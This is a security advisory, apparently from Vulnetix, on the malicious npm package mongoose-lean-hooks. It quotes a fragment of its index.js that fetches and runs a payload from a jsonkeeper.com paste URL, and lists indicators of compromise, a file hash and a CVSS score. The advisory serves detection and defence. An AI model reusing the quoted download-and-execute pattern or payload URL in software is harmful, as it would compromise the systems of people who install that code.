GCVE-110-OSM-2026-2444

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 15, 2026

Malicious package detected. Behaviors: data exfiltration, network activity, obfuscated code. Payload: index.js Key findings: - Download and Execute in index.js: "axios.get( 'https://www.jsonkeeper.com/b/A5BA8' ); if (!res || !res.data) return..." - Payload Download from Paste Service in index.js: "jsonkeeper.com" - Trailing Code After Module Exports in index.js: "module.exports = leanhooksPlugin; ..." - Very New NPM Publisher Account IOCs: - urls: https://www.jsonkeeper.com/b/A5BA8 - domains: penree.com, www.jsonkeeper.com, brian.com, vandamme.com, familyguysmatter.com (+1 more) - emails: nick@penree.com, brian@brian.com, jeanclaude@vandamme.com, stewie@familyguysmatter.com, tyrion.lannister@westeros.com - payloadFileHash: d5f0119d318184f360847e4a15f389093fddb095f2bd4bb5ca920bc39851f04a

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	mongoose-lean-hooks	all (affected)	—

References

Malicious npm package: mongoose-lean-hooks

advisory

vendor

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

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